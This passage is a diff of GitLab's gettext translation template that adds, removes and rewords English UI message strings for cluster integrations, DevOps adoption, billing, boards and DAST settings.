msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3568,9 +3598,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3622,6 +3649,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3712,6 +3742,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3868,9 +3901,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4147,9 +4177,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4243,15 +4270,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4639,9 +4660,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4831,9 +4849,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5221,6 +5236,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5365,6 +5383,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5425,6 +5446,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5455,6 +5479,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5677,6 +5704,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5845,6 +5875,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5893,10 +5926,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5941,6 +5974,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6064,9 +6100,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6172,15 +6205,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6457,6 +6490,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6559,9 +6595,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6589,6 +6622,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -7018,9 +7054,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7030,24 +7063,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -7081,15 +7102,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7102,9 +7114,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7126,9 +7135,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7147,15 +7153,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7177,9 +7174,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7192,15 +7186,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7222,15 +7213,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7279,12 +7261,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7300,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7318,9 +7291,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7363,27 +7333,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7411,9 +7366,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7423,18 +7375,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7456,39 +7396,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7522,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7573,12 +7480,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7621,9 +7522,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7633,15 +7531,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7678,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7708,9 +7579,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7759,15 +7627,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7792,9 +7654,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7813,27 +7672,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7843,24 +7687,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7891,9 +7717,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7915,21 +7738,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7954,27 +7765,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7990,12 +7786,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -8068,6 +7858,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8083,9 +7876,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8383,9 +8182,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8422,9 +8218,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8443,42 +8236,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8497,6 +8257,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8749,6 +8512,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -9103,7 +8869,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9142,6 +8908,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9208,6 +8977,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9448,9 +9220,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9577,9 +9346,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9811,6 +9577,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9820,9 +9592,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9838,9 +9607,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9916,6 +9682,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10135,9 +9904,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10204,6 +9970,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10564,9 +10342,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10591,6 +10366,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10624,7 +10402,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10744,6 +10522,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11422,12 +11203,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11485,7 +11284,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11497,21 +11296,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11545,6 +11347,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11566,6 +11371,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11584,15 +11392,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11779,7 +11584,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11830,7 +11635,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11839,6 +11644,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
